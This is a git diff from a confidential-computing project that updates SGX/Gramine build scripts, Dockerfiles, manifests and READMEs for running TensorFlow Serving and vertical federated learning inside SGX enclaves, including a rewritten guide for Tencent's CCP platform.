apt-key add - +sudo apt-get update +sudo apt-get install -y sgx-aesm-service libsgx-dcap-ql-dev libsgx-dcap-quote-verify-dev + +# Build and install Azure DCAP Client 1.10.0 release +cd ~ +git clone https://github.com/microsoft/Azure-DCAP-Client; cd Azure-DCAP-Client/ +git checkout 1.10.0; git submodule update --recursive --init +cd src/Linux/; ./configure; make DEBUG=1 +sudo make install +sudo cp libdcap_quoteprov.so /usr/lib/x86_64-linux-gnu/ diff --git a/cczoo/psi/start_container.sh b/cczoo/psi/start_container.sh index 60e2865f..36a35689 100644 --- a/cczoo/psi/start_container.sh +++ b/cczoo/psi/start_container.sh @@ -1,3 +1,4 @@ +#!/bin/bash # # Copyright (c) 2022 Intel Corporation # @@ -13,7 +14,6 @@ # See the License for the specific language governing permissions and # limitations under the License. -#!/bin/bash set -e if [ -n "$1" ] ; then diff --git a/cczoo/tensorflow-serving-cluster/tensorflow-serving/docker/client/files/wrap-key b/cczoo/tensorflow-serving-cluster/tensorflow-serving/docker/client/files/wrap-key index d19ebafe..42946c06 100644 Binary files a/cczoo/tensorflow-serving-cluster/tensorflow-serving/docker/client/files/wrap-key and b/cczoo/tensorflow-serving-cluster/tensorflow-serving/docker/client/files/wrap-key differ diff --git a/cczoo/tensorflow-serving-cluster/tensorflow-serving/docker/client/gramine-sgx-pf-crypt b/cczoo/tensorflow-serving-cluster/tensorflow-serving/docker/client/gramine-sgx-pf-crypt index 8217a9fb..62a48728 100755 Binary files a/cczoo/tensorflow-serving-cluster/tensorflow-serving/docker/client/gramine-sgx-pf-crypt and b/cczoo/tensorflow-serving-cluster/tensorflow-serving/docker/client/gramine-sgx-pf-crypt differ diff --git a/cczoo/tensorflow-serving-cluster/tensorflow-serving/docker/secret_prov/certs/wrap_key b/cczoo/tensorflow-serving-cluster/tensorflow-serving/docker/secret_prov/certs/wrap_key index d19ebafe..42946c06 100644 Binary files a/cczoo/tensorflow-serving-cluster/tensorflow-serving/docker/secret_prov/certs/wrap_key and b/cczoo/tensorflow-serving-cluster/tensorflow-serving/docker/secret_prov/certs/wrap_key differ diff --git a/cczoo/tensorflow-serving-cluster/tensorflow-serving/docker/secret_prov/entrypoint_secret_prov_server.sh b/cczoo/tensorflow-serving-cluster/tensorflow-serving/docker/secret_prov/entrypoint_secret_prov_server.sh index 5d9af76e..f2012f3e 100755 --- a/cczoo/tensorflow-serving-cluster/tensorflow-serving/docker/secret_prov/entrypoint_secret_prov_server.sh +++ b/cczoo/tensorflow-serving-cluster/tensorflow-serving/docker/secret_prov/entrypoint_secret_prov_server.sh @@ -20,4 +20,5 @@ set -e cd ${WORK_BASE_PATH}/secret_prov_pf echo "Run Secret Porv Server!" -LD_LIBRARY_PATH=$LD_LIBRARY_PATH:./libs RA_TLS_ALLOW_DEBUG_ENCLAVE_INSECURE=1 RA_TLS_ALLOW_OUTDATED_TCB_INSECURE=1 ./server_dcap wrap_key +LD_LIBRARY_PATH=$LD_LIBRARY_PATH:./libs stdbuf -o0 ./server_dcap wrap_key + diff --git a/cczoo/tensorflow-serving-cluster/tensorflow-serving/docker/secret_prov/secret_prov.dockerfile b/cczoo/tensorflow-serving-cluster/tensorflow-serving/docker/secret_prov/secret_prov.dockerfile index b5a780fe..2a0623e7 100644 --- a/cczoo/tensorflow-serving-cluster/tensorflow-serving/docker/secret_prov/secret_prov.dockerfile +++ b/cczoo/tensorflow-serving-cluster/tensorflow-serving/docker/secret_prov/secret_prov.dockerfile @@ -105,7 +105,7 @@ RUN apt-get install -y libcurl4-openssl-dev libprotobuf-c-dev python3-protobuf p RUN python3 -B -m pip install 'toml>=0.10' 'meson>=0.55' cryptography pyelftools # Build Gramine -RUN cd ${GRAMINEDIR} && pwd && meson setup build/ --buildtype=debug -Dsgx=enabled -Ddcap=enabled -Dsgx_driver="dcap1.10" -Dsgx_driver_include_path="/gramine/driver/driver/linux/include" \ +RUN cd ${GRAMINEDIR} && pwd && meson setup build/ --buildtype=release -Dsgx=enabled -Ddcap=enabled -Dsgx_driver="dcap1.10" -Dsgx_driver_include_path="/gramine/driver/driver/linux/include" \ && ninja -C build/ \ && ninja -C build/ install RUN gramine-sgx-gen-private-key diff --git a/cczoo/tensorflow-serving-cluster/tensorflow-serving/docker/tf_serving/anolisos_gramine_tf_serving.dockerfile b/cczoo/tensorflow-serving-cluster/tensorflow-serving/docker/tf_serving/anolisos_gramine_tf_serving.dockerfile index 68eef0df..cf5e5372 100644 --- a/cczoo/tensorflow-serving-cluster/tensorflow-serving/docker/tf_serving/anolisos_gramine_tf_serving.dockerfile +++ b/cczoo/tensorflow-serving-cluster/tensorflow-serving/docker/tf_serving/anolisos_gramine_tf_serving.dockerfile @@ -64,7 +64,13 @@ RUN cd ${GRAMINEDIR} \ && LD_LIBRARY_PATH="" ninja -C build/ install RUN gramine-sgx-gen-private-key -COPY /usr/bin/tensorflow_model_server /usr/bin/ +#tensorflow_model_server +RUN cd /usr/bin && curl -fLO https://releases.bazel.build/3.7.2/release/bazel-3.7.2-linux-x86_64 && chmod +x bazel-3.7.2-linux-x86_64 +RUN git clone https://github.com/tensorflow/serving.git \ + && cd serving \ + && git checkout 2.6.2 \ + && bazel-3.7.2-linux-x86_64 build -c opt //tensorflow_serving/model_servers:tensorflow_model_server +RUN cp serving/bazel-bin/tensorflow_serving/model_servers/tensorflow_model_server /usr/bin # Clean apt cache RUN yum -y clean all && rm -rf /var/cache diff --git a/cczoo/tensorflow-serving-cluster/tensorflow-serving/docker/tf_serving/gramine_tf_serving.dockerfile b/cczoo/tensorflow-serving-cluster/tensorflow-serving/docker/tf_serving/gramine_tf_serving.dockerfile index 4d01e8fc..141579e3 100644 --- a/cczoo/tensorflow-serving-cluster/tensorflow-serving/docker/tf_serving/gramine_tf_serving.dockerfile +++ b/cczoo/tensorflow-serving-cluster/tensorflow-serving/docker/tf_serving/gramine_tf_serving.dockerfile @@ -121,7 +121,7 @@ RUN git clone https://github.com/intel/SGXDataCenterAttestationPrimitives.git ${ && git checkout DCAP_1.11 # Build Gramine -RUN cd ${GRAMINEDIR} && pwd && meson setup build/ --buildtype=debug -Dsgx=enabled -Ddcap=enabled -Dsgx_driver="dcap1.10" -Dsgx_driver_include_path="/gramine/driver/driver/linux/include" \ +RUN cd ${GRAMINEDIR} && pwd && meson setup build/ --buildtype=release -Dsgx=enabled -Ddcap=enabled -Dsgx_driver="dcap1.10" -Dsgx_driver_include_path="/gramine/driver/driver/linux/include" \ && ninja -C build/ \ && ninja -C build/ install RUN gramine-sgx-gen-private-key diff --git a/cczoo/tensorflow-serving-cluster/tensorflow-serving/docker/tf_serving/tensorflow_model_server.manifest.template b/cczoo/tensorflow-serving-cluster/tensorflow-serving/docker/tf_serving/tensorflow_model_server.manifest.template index a5e75958..f10872de 100644 --- a/cczoo/tensorflow-serving-cluster/tensorflow-serving/docker/tf_serving/tensorflow_model_server.manifest.template +++ b/cczoo/tensorflow-serving-cluster/tensorflow-serving/docker/tf_serving/tensorflow_model_server.manifest.template @@ -48,7 +48,7 @@ loader.pal_internal_mem_size = "200M" sgx.ra_client_spid = "" # SGX Attestation -sgx.remote_attestation = true +sgx.remote_attestation = "dcap" loader.env.LD_PRELOAD = "libsecret_prov_attest.so" loader.env.SECRET_PROVISION_CONSTRUCTOR = "1" loader.env.SECRET_PROVISION_SET_KEY = "default" @@ -84,4 +84,4 @@ sgx.allowed_files = [ "file:/etc/resolv.conf", "file:/tmp", "file:ssl.cfg" -] \ No newline at end of file +] diff --git a/cczoo/tensorflow-serving-cluster/tensorflow-serving/docker/tf_serving_ccp/Images/ps1.png b/cczoo/tensorflow-serving-cluster/tensorflow-serving/docker/tf_serving_ccp/Images/ps1.png new file mode 100644 index 00000000..eb692278 Binary files /dev/null and b/cczoo/tensorflow-serving-cluster/tensorflow-serving/docker/tf_serving_ccp/Images/ps1.png differ diff --git a/cczoo/tensorflow-serving-cluster/tensorflow-serving/docker/tf_serving_ccp/Images/ps2.png b/cczoo/tensorflow-serving-cluster/tensorflow-serving/docker/tf_serving_ccp/Images/ps2.png new file mode 100644 index 00000000..1e347f68 Binary files /dev/null and b/cczoo/tensorflow-serving-cluster/tensorflow-serving/docker/tf_serving_ccp/Images/ps2.png differ diff --git a/cczoo/tensorflow-serving-cluster/tensorflow-serving/docker/tf_serving_ccp/Images/ps3.png b/cczoo/tensorflow-serving-cluster/tensorflow-serving/docker/tf_serving_ccp/Images/ps3.png new file mode 100644 index 00000000..4e9ab310 Binary files /dev/null and b/cczoo/tensorflow-serving-cluster/tensorflow-serving/docker/tf_serving_ccp/Images/ps3.png differ diff --git a/cczoo/tensorflow-serving-cluster/tensorflow-serving/docker/tf_serving_ccp/README.md b/cczoo/tensorflow-serving-cluster/tensorflow-serving/docker/tf_serving_ccp/README.md index b07a57ec..d9549765 100644 --- a/cczoo/tensorflow-serving-cluster/tensorflow-serving/docker/tf_serving_ccp/README.md +++ b/cczoo/tensorflow-serving-cluster/tensorflow-serving/docker/tf_serving_ccp/README.md @@ -1,188 +1,224 @@ -# Executing Confidential TF Serving with CCP +# **Executing Confidential TF Serving with CCP** +## Introduction The solution uses ccp (Confidential Computing Platform) to perform confidential TF services. -## Introduction +TensorFlow Serving is part of the TensorFlow ecosystem, Google's open-source machine learning platform. Its function is to run the trained model and provide an interface for other service calls to use the model for inference and prediction. -### Prerequisites -- Ubuntu 20.04. +The goal of this solution is to show how these applications - TensorFlow Serving and Kubernetes - can run in an untrusted environment (like a public cloud), automating deployment while still ensuring the confidentiality and integrity of sensitive input data and the model. To this end, we use Intel SGX enclaves to isolate TensorFlow Serving's execution to protect data confidentiality and integrity, and to provide a cryptographic proof that the program is correctly initialized and running on legitimate hardware with the latest patches. -- Docker Engine. Docker Engine is an open source containerization technology for - building and containerizing your applications. - Please follow [this guide](https://docs.docker.com/engine/install/ubuntu/#install-using-the-convenience-script) - to install Docker engine. +## Technology Architecture -- TensorFlow 2.4.2. +In this tutorial, we use three machines: client trusted machine, it can be a non-SGX platform or an SGX platform; SGX-enabled machine, treated as untrusted machine; remote client machine. In this solution, you can also deploy this solution in one SGX-enabled machine with below steps. -### 1. Service Preparation +This practice involves three roles: client, CCP SGX, and remote requester. -Under client machine, please download source package: +![img](./Images/ps1.png "Technology Architecture") -```shell -git clone https://github.com/intelconfidential-computing-zoo.git +- **client**: The client machine will encrypt the trained model and the TLS certificate used to establish a secure connection, and upload the tf-sering image after using ccp-cli pack to the CCP SGX client environment. At the same time, the client machine will also deploy the key to provide services, which are mainly used to authenticate the SGX side to ensure the integrity of the TensorFlow Serving inference service application running on the cloud and the feasibility of the SGX environment. After verification, the key is sent to the TensorFlow Serving inference service running in CCP SGX. + +- **CCP SGX**: The CCP SGX side provides the SGX confidential computing environment, and the TensorFlow Serving inference service runs in the SGX environment. When the inference service starts, a remote authentication request is sent to the client to obtain the secret model's key. After the verification is successful, the inference service will get the key sent by the client. So far, the inference service running in the SGX environment is running successfully and waiting for remote access requests. + +- **remote requester**: Third-party consumers send data to inference services running in the SGX confidential computing environment through secure transmission over the network. After the inference is completed, the return result is obtained. + + *Note:In this practice, the client and the remote requester are deployed on the same machine, and the CCP SGX end is deployed on another machine.* + +## Prerequisites + +- Docker container engine: In order to facilitate the deployment of inference, this practice runs the three participants in a Docker container, and runs the inference service through Docker commands. +- Ubuntu docker base images 20.04 +- TensorFlow 2.4.2 + +Reference for the environment information for this practice to run: +- Specifications: encrypted memory ≥ 8G +- Public IP +- CCP software stack + + +## Build the tf-serving image + +Users can build tf-serving images in the following two ways: + +### Download tf-serving image + +``` +sudo docker pull intelcczoo/tensorflow_serving:ccp_tf_serving_latest +docker tag intelcczoo/tensorflow_serving:ccp_tf_serving_latest tf_serving:latest ``` +### Build your own tf-serving image -- 1.1 Download the Model +1. Download the TensorFlow Serving script code used in this practice and install the required packages. - First, use `download_model.sh` to download the pre-trained model file. It will - generate the directory `models/resnet50-v15-fp32` in current directory: + ```shell + git clone https://github.com/intel/confidential-computing-zoo.git + ``` +2. Download the model ```shell cd /tensorflow-serving/docker/client ./download_model.sh ``` + The downloaded and trained model files will be stored in the created `models/resnet50-v15-fp32` directory. - The model file will be downloaded to `models/resnet50-v15-fp32`. - Then use `model_graph_to_saved_model.py` to convert the pre-trained model to SavedModel: +3. Model format conversion + The model file will be downloaded to models/resnet50-v15-fp32. Then use model_graph_to_saved_model.py to convert the pre-trained model to SavedModel: ```shell pip3 install -r requirements.txt - python3 ./model_graph_to_saved_model.py \ - --import_path `pwd -P`/modelsresnet50-v15-fp32/resnet50-v15-fp32.pb \ - --export_dir `pwd -P`/modelsresnet50-v15-fp32 \ - --model_version 1 \ - --inputs input \ - --outputs predict + python3 ./model_graph_to_saved_model.py --import_path `pwd -P`/models/resnet50-v15-fp32/resnet50-v15-fp32.pb --export_dir `pwd -P`/models/resnet50-v15-fp32 --model_version 1 --inputs input --outputs predict ``` -- 1.2 Create the SSL/TLS certificate +4. Create gRPC TLS certificate - We choose gRPC SSL/TLS and create the SSL/TLS Keys and certificates by setting - TensorFlow Serving domain name to establish a communication link between client - and TensorFlow Serving. + In this practice, gRPC TLS is selected to establish the communication connection between the client and TensorFlow Serving, and the TensorFlow Serving domain name is set to create mutual TLS Keys and certificates to establish a secure communication channel. - two-way SSL/TLS authentication(server and client verify each other): + The script will create the `ssl_configure` folder, which contains the corresponding certificates for the server and client ```shell - client_domain_name=client.tf-serving.service.com + client_domain_name=client.tf-serving.service.com + service_domain_name=grpc.tf-serving.service.com ./generate_twoway_ssl_config.sh ${service_domain_name} ${client_domain_name} ``` - `generate_twoway_ssl_config.sh` will generate the directory - `ssl_configure` which includes `server/*.pem`, `client/*.pem`, - `ca_*.pem` and `ssl.cfg`. - `client/*.pem` and `ca_cert.pem` will be used by the remote client - and `ssl.cfg` will be used by TensorFlow Serving. - -- 1.3 Create encrypted model file - - Use the `gramine-sgx-pf-crypt` tool to encrypt the model file command as follow: - +5. Create encrypted model file ```shell mkdir -p plaintext mkdir -p /models/resnet50-v15-fp32/1 mv models/resnet50-v15-fp32/1/saved_model.pb plaintext - + LD_LIBRARY_PATH=./libs ./gramine-sgx-pf-crypt encrypt \ - -w files/wrap-key \ - -i plaintext/saved_model.pb \ - -o /models/resnet50-v15-fp32/1/saved_model.pb - + -w files/wrap-key \ + -i plaintext/saved_model.pb \ + -o /models/resnet50-v15-fp32/1/saved_model.pb + mv /models/resnet50-v15-fp32/1/saved_model.pb models/resnet50-v15-fp32/1 rm -rf /models/resnet50-v15-fp32/1 ``` - For more information about `gramine-sgx-pf-crypt`, please refer to [pf_crypt](https://github.com/gramineproject/gramine/tree/master/Pal/src/host/Linux-SGX/tools/pf_crypt) - -### 2. Build Secret Provision images and Secret tf_serving image +6. Compile the TensorFlow Serving image + We need to copy the client's ssl_configure and models directory to the local tf_serving directory -- 2.1 Build Secret Provision images + ```shell + scp -r tf@192.168.XX.XX://client/models /docker/tf_serving_ccp + scp -r tf@192.168.XX.XX/client/ssl_configure /docker/tf_serving_ccp + ``` ```shell - cd /tensorflow-serving/docker/secret_prov - ./build_secret_prov_image.sh + cd /tensorflow-serving/docker/tf_serving_ccp + image_tag=tf_serving:latest + docker_file=tf_serving.dockerfile + ./build_tf_serving_image.sh ${image_tag} ${docker_file} ``` - `ip_addr` is the host machine where your PCCS service is installed. +## Build the Secret Provision image -- 2.2 Preparation +Users can build a key verification service image in two ways: - Recall that we've created encrypted model and TLS certificate in client machine,we need to copy them to this machine. +1. Build Secret Provision images from scripts + If you choose to build the Secret Provision image yourself, please use the `PCCS_URL` provided by Tencent Cloud to replace the `PCCS_URL` in the /`etc/sgx_default_qcnl.conf` file. - For example: + For example: + `PCCS_URL=https://pccs.service.com:8081/sgx/certification/v3/` + replace with: + `PCCS_URL=https://sgx-dcap-server-tc.bj.tencent.cn/sgx/certification/v3/` ```shell - cd /tensorflow-serving/docker/tf_serving_ccp - cp ../client/models . - cp ../client/ssl_configure . + cd /tensorflow-serving/docker/secret_prov + ./build_secret_prov_image.sh ``` -- 2.3 Build tf_serving image +2. Download Secret Provision image ```shell - image_tag=tf_serving:latest - docker_file=tf_serving.dockerfile - ./build_tf_serving_image.sh ${image_tag} ${docker_file} + sudo docker pull intelcczoo/tensorflow_serving:ccp_secret_prov_server_latest + docker tag tensorflow_serving:ccp_secret_prov_server_latest secret_prov_server:latest ``` + *Note: The PCCS address protected in the above image is: https://sgx-dcap-server-tc.bj.tencent.cn/sgx/certification/v3/* + + + + +## Build TensorFlow Serving Confidential image -- 2.4 Build Secret tf_serving image +1. Prepare the tf_serving image - Prepare the tf_serving application and package it as a confidential image using ccp + Before building a confidential image, users need to install the ccp application locally and register the application in Tencent Cloud. For details, please refer to this [Link](https://cloud.tencent.com/document/product/1542/72708). - replace the latest ssl.cfg for tf_serving image (optional): + Replace the latest `ssl.cfg` for the tf_serving image (optional): ```shell container_name=tf-serving - ssl_configure= + ssl_configure=`pwd -P`/ssl_configure ./replace_tf_serving_ssl_cfg.sh ${image_tag} ${container_name} ${ssl_configure} ``` - build ccp_tf_serving image: +2. Build ccp_tf_serving image: - ```shell - ./build_ccp_tf_serving_image.sh ${image_tag} tensorflow_model_server.toml - ``` + ```shell + ./build_ccp_tf_serving_image.sh ${image_tag} tensorflow_model_server.toml + ``` + *Note: `app_name` is the application name applied by the user on Tencent Cloud. Users can obtain `secret-id`, `secret-key` and `capp-id` on Tencent Cloud.* - *Note*: - 1. `app_name` is the application name that the user applies for on Tencent Cloud. - 2. Users can also obtain `secret-id` `secret-key` `capp-id` on Tencent Cloud.For details, please refer to [the link](https://cloud.tencent.com/document/product/1542). +## Deploy key verification services in the cloud +Start key verification service -### 3. Run TensorFlow Serving and Remote Inference Request + cd /tensorflow- serving/docker/secret_prov + ./run_secret_prov.sh -i -a pccs.service.com: -- 3.1 Start Secret Provision Service - ```shell - cd /tensorflow-serving/docker/secret_prov - ./run_secret_prov.sh -i -a pccs.service.com: - ``` - `secret provision service` will start port `4433` and monitor request. Under public cloud instance, please make sure the port `4433` is enabled to access. +## Start sec_tf_serving with ccp -- 3.2 Start the sec_tf_serving application +Upload the tf_serving application to the ccp platform, and use the ccp tool to start the tf_serving application - ```shell - cd /tensorflow-serving/docker/tf_serving_ccp - ./run_ccp_tf_serving.sh -i -p 8500-8501 -a attestation.service.com: - ``` +```shell +cd /tensorflow-serving/docker/tf_serving_ccp +./run_ccp_tf_serving.sh -i -p 8500-8501 -a attestation.service.com: +``` + +If Secret Provision and tf_serving are deployed on the same machine, please fill in `secret_prov_service_machine_ip` as the secret_prov container ip. + +Now, TensorFlow Serving is running in SGX and waiting for remote requests. +![img](./Images/ps2.png) + +## Build the client image + +You can build a key verification service image in two ways: + +### Download client image + +``` +sudo docker pull intelcczoo/tensorflow_serving:ccp_client_latest +docker tag intelcczoo/tensorflow_serving:ccp_client_latest client:latest +``` - Now, the TensorFlow Serving is running in SGX and waiting for remote requests. +### Build your own client image - ![](https://raw.githubusercontent.com/pengyuabc/confidential-computing-zoo/0f573059ee42d813ca161bbf586679fb3e834f03/documents/readthedoc/docs/source/Solutions/tensorflow-serving-cluster/img/TF_Serving.svg) +This section will reuse the files in the `ssl_configure` directory -- 3.3 Build Client Docker Image +1. Build the client image - In this section, the files in the `ssl_configure` directory will be - reused ```shell cd /tensorflow-serving/docker/client docker build -f client.dockerfile . -t client:latest ``` - Run the Client container: + +2. Run and enter the client container ```shell - docker run -it --add-host="${service_domain_name}:" tf_serving_client:latest bash + docker run -it --add-host="grpc.tf-serving.service.com:" client:latest bash ``` -- 3.4 Send remote inference request - Send the remote inference request (with a dummy image) to demonstrate a single TensorFlow serving node with remote attestation: +## send remote request - two-way SSL/TLS authentication: +Send remote inference requests (with dummy images) to demonstrate a single TensorFlow Serving node with remote attestation. - ```shell - cd /tensorflow-serving/docker/client - python3 ./resnet_client_grpc.py -batch 1 -cnum 1 -loop 50 -url grpctf-serving.service.com:8500 -ca `pwd -P`/ssl_configure/ca_cert.pem -crt`pwd -P`/ssl_configure/client/cert.pem -key `pwd -P`/ssl_configure/clientkey.pem - ``` - The inference result is printed in the terminal window. +```shell +cd /client +python3 ./resnet_client_grpc.py -batch 1 -cnum 1 -loop 50 -url grpc.tf-serving.service.com:8500 -ca `pwd -P`/ssl_configure/ca_cert.pem -crt `pwd -P`/ssl_configure/client/cert.pem -key `pwd -P`/ssl_configure/client/key.pem +``` +After the inference is successful, You can get the inference result printed in the terminal window. +![img](./Images/ps3.png) diff --git a/cczoo/tensorflow-serving-cluster/tensorflow-serving/docker/tf_serving_ccp/libsecret_prov_attest.so b/cczoo/tensorflow-serving-cluster/tensorflow-serving/docker/tf_serving_ccp/libsecret_prov_attest.so new file mode 100644 index 00000000..12c17ebe Binary files /dev/null and b/cczoo/tensorflow-serving-cluster/tensorflow-serving/docker/tf_serving_ccp/libsecret_prov_attest.so differ diff --git a/cczoo/tensorflow-serving-cluster/tensorflow-serving/docker/tf_serving_ccp/certs/test-ca-sha256.crt b/cczoo/tensorflow-serving-cluster/tensorflow-serving/docker/tf_serving_ccp/ssl/ca.crt similarity index 100% rename from cczoo/tensorflow-serving-cluster/tensorflow-serving/docker/tf_serving_ccp/certs/test-ca-sha256.crt rename to cczoo/tensorflow-serving-cluster/tensorflow-serving/docker/tf_serving_ccp/ssl/ca.crt diff --git a/cczoo/tensorflow-serving-cluster/tensorflow-serving/docker/tf_serving_ccp/tensorflow_model_server.toml b/cczoo/tensorflow-serving-cluster/tensorflow-serving/docker/tf_serving_ccp/tensorflow_model_server.toml index a0ee9775..f19261b7 100644 --- a/cczoo/tensorflow-serving-cluster/tensorflow-serving/docker/tf_serving_ccp/tensorflow_model_server.toml +++ b/cczoo/tensorflow-serving-cluster/tensorflow-serving/docker/tf_serving_ccp/tensorflow_model_server.toml @@ -3,63 +3,72 @@ app.capi_target = "ccp.tencentcloudapi.com" app.kms_target = "kms.tencentcloudapi.com" -##loader.preload = "file:{{ gramine.libos }}" loader.entrypoint = "file:{{ gramine.libos }}" -loader.log_level = "error" -# loader.env.LD_LIBRARY_PATH = "{{ python.stdlib }}/lib:/lib:{{ arch_libdir }}:/usr/lib:/usr/{{ arch_libdir }}:./" -loader.env.LD_LIBRARY_PATH = "/usr/lib/python3.8/lib:/lib:/lib/x86_64-linux-gnu:/usr/lib:/usr/lib/x86_64-linux-gnu" -#loader.env.PATH = "/usr/bin" +libos.entrypoint = "tensorflow_model_server" +loader.log_level = "error" +# # Read application arguments directly from the command line. Don't use this on production! loader.insecure__use_cmdline_argv = true -##sys.enable_sigterm_injection = true +# +# # Environment variables for Python +loader.env.LD_LIBRARY_PATH = "{{ python.stdlib }}/lib:/lib:/lib/x86_64-linux-gnu:/usr/lib:/usr/lib/x86_64-linux-gnu:./" +# # Allow for injecting SIGTERM signal from the host. +sys.enable_sigterm_injection = true +# -fs.root.type = "chroot" -fs.root.path = "/" -fs.root.uri = "file:/" -fs.mount.lib.type = "chroot" -fs.mount.lib.path = "/lib" -fs.mount.lib.uri = "file:{{ gramine.runtimedir() }}" - -loader.pal_internal_mem_size = "200M" +fs.mounts = [ + { path = "/lib", uri = "file:{{ gramine.runtimedir() }}" }, + { path = "/lib/x86_64-linux-gnu", uri = "file:/lib/x86_64-linux-gnu" }, + { path = "/ssl", uri = "file:/ssl" }, + { path = "/usr/lib/x86_64-linux-gnu", uri = "file:/usr/lib/x86_64-linux-gnu" }, + { path = "/etc", uri = "file:/etc" }, + { path = "{{ python.stdlib }}", uri = "file:{{ python.stdlib }}" }, + { path = "{{ python.distlib }}", uri = "file:{{ python.distlib }}" }, + { path = "/models/resnet50-v15-fp32/1/saved_model.pb", uri = "file:models/resnet50-v15-fp32/1/saved_model.pb", type = "encrypted" }, +] -sgx.nonpie_binary = true sgx.enclave_size = "4G" +# +# # Gramine creates stacks of 256KB by default. It is not enough for SciPy/NumPy +# # packages, e.g., libopenblas dependency assumes more than 512KB-sized stacks. +sys.stack.size = "4M" +# +# # Set the maximum number of enclave threads. For SGX v1, the number of enclave +# # TCSes must be specified during signing, so the application cannot use more +# # threads than the number of TCSes. Note that Gramine also creates an internal +# # thread for handling inter-process communication (IPC), and potentially another +# # thread for asynchronous events. Therefore, the actual number of threads that +# # the application can create is (sgx.thread_num - 2). sgx.thread_num = 400 -sgx.remote_attestation = true + +sgx.nonpie_binary = true + +loader.pal_internal_mem_size = "200M" + sgx.ra_client_spid = "" +# SGX Attestation +sgx.remote_attestation = "dcap" loader.env.LD_PRELOAD = "libsecret_prov_attest.so" loader.env.SECRET_PROVISION_CONSTRUCTOR = "1" -loader.env.SECRET_PROVISION_SET_PF_KEY = "1" -loader.env.SECRET_PROVISION_CA_CHAIN_PATH = "/certs/test-ca-sha256.crt" +loader.env.SECRET_PROVISION_SET_KEY = "default" +loader.env.SECRET_PROVISION_CA_CHAIN_PATH = "/ssl/ca.crt" loader.env.SECRET_PROVISION_SERVERS = "attestation.service.com:4433" sgx.trusted_files = [ + "file:{{ gramine.libos }}", "file:{{ gramine.runtimedir() }}/", "file:{{ python.distlib }}/", "file:/usr/lib/x86_64-linux-gnu/", "file:/lib/x86_64-linux-gnu/", - "file:/opt/ccp/bin/ccp-agent", - "file:/certs/test-ca-sha256.crt" + "file:/ssl/", + "file:/ssl/ca.crt", + "file:/usr/bin/tensorflow_model_server" ] sgx.allowed_files = [ "file:/", - "file:/etc/nsswitch.conf", - "file:/etc/ethers", - "file:/etc/hosts", - "file:/etc/group", - "file:/etc/passwd", - "file:/etc/gai.conf", - "file:/etc/host.conf", - "file:/etc/resolv.conf", - "file:/ssl.cfg" ] - -sgx.protected_files = [ - "file:/models/resnet50-v15-fp32/1/saved_model.pb" -] - diff --git a/cczoo/tensorflow-serving-cluster/tensorflow-serving/docker/tf_serving_ccp/tf_serving.dockerfile b/cczoo/tensorflow-serving-cluster/tensorflow-serving/docker/tf_serving_ccp/tf_serving.dockerfile index af6d6945..5dada491 100755 --- a/cczoo/tensorflow-serving-cluster/tensorflow-serving/docker/tf_serving_ccp/tf_serving.dockerfile +++ b/cczoo/tensorflow-serving-cluster/tensorflow-serving/docker/tf_serving_ccp/tf_serving.dockerfile @@ -19,10 +19,12 @@ RUN curl -LO https://storage.googleapis.com/tensorflow-serving-apt/pool/${TF_SER # RUN dpkg -i ./${TF_SERVING_PKGNAME}_${TF_SERVING_VERSION}_all.deb \ # && rm -f ${TF_SERVING_PKGNAME}_${TF_SERVING_VERSION}_all.deb +RUN mkdir -p ${WORK_BASE_PATH}/ssl COPY models ${MODEL_BASE_PATH} COPY ssl_configure/ssl.cfg ${WORK_BASE_PATH} -COPY certs ${WORK_BASE_PATH}/certs +COPY ssl ${WORK_BASE_PATH}/ssl + COPY tf_serving_entrypoint.sh /usr/bin RUN chmod +x /usr/bin/tf_serving_entrypoint.sh -ENTRYPOINT ["/usr/bin/tf_serving_entrypoint.sh"] \ No newline at end of file +ENTRYPOINT ["/usr/bin/tf_serving_entrypoint.sh"] diff --git a/cczoo/vertical_fl/README.md b/cczoo/vertical_fl/README.md index ba7207f0..8d4e92b7 100644 --- a/cczoo/vertical_fl/README.md +++ b/cczoo/vertical_fl/README.md @@ -5,21 +5,27 @@ - Docker Engine. Docker Engine is an open source containerization technology for building and containerizing your applications. In this solution, Gramine, Fedlearner, gRPC will be built in a Docker image. Please follow [this guide](https://docs.docker.com/engine/install/ubuntu/#install-using-the-convenience-script) to install Docker Engine. The Docker daemon's storage location (/var/lib/docker for example) should have at least 32GB available. -- SGX capable platform. Intel SGX Driver and SDK/PSW. You need a machine that supports Intel SGX and FLC/DCAP. Please follow [this guide](https://download.01.org/intel-sgx/latest/linux-latest/docs/) to install the Intel SGX driver and SDK/PSW. One way to verify SGX enabling status in your machine is to run [QuoteGeneration](https://github.com/intel/SGXDataCenterAttestationPrimitives/blob/master/QuoteGeneration) and [QuoteVerification](https://github.com/intel/SGXDataCenterAttestationPrimitives/blob/master/QuoteVerification) successfully. +- CCZoo Vertical Federated Learning source package: -Here, we will demonstrate vertical federated learning using a leader container and a follower container. + ```shell + git clone https://github.com/intel/confidential-computing-zoo.git + ``` +- SGX capable platform. Intel SGX Driver and SDK/PSW. You need a machine that supports Intel SGX and FLC/DCAP. If the Intel SGX driver and SDK/PSW is already installed on your machine/VM, the following steps can be skipped. For example, the following steps are not necessary and can be skipped for Azure deployments. + Please follow [this guide](https://download.01.org/intel-sgx/latest/linux-latest/docs/) to install the Intel SGX driver and SDK/PSW. One way to verify SGX enabling status in your machine is to run [QuoteGeneration](https://github.com/intel/SGXDataCenterAttestationPrimitives/blob/master/QuoteGeneration) and [QuoteVerification](https://github.com/intel/SGXDataCenterAttestationPrimitives/blob/master/QuoteVerification) successfully. ## Executing Fedlearner in SGX ### 1. Download source code -Download the [Fedlearner source code](https://github.com/bytedance/fedlearner/tree/fix_dev_sgx) which is a git submodule of CCZoo. +Download the [Fedlearner source code](https://github.com/bytedance/fedlearner/tree/fix_dev_sgx): ``` -git submodule init -git submodule update cd cczoo/vertical_fl +git clone -b fix_dev_sgx https://github.com/bytedance/fedlearner.git vertical_fl +cd vertical_fl +git checkout 75e8043 +cd .. ./apply_overlay.sh cd vertical_fl ``` @@ -101,6 +107,14 @@ Start the aesm service in both the leader and follower containers: /root/start_aesm_service.sh ``` +Verify the aesm service is running in both the leader and follower containers: + +``` +# ps aux |grep aesm_service +root 35 0.1 0.0 293004 16788 ? Ssl 03:26 0:00 /opt/intel/sgx-aesm-service/aesm/aesm_service +root 44 0.0 0.0 13220 1068 pts/1 S+ 03:26 0:00 grep --color=auto aesm_service +``` + #### 4. Prepare data Generate data in both the leader and follower containers: @@ -154,11 +168,11 @@ dynamic_config.json: #### 6. Run the distributing training -Start the training process in the follower container: +Start the training process in the follower container, replacing 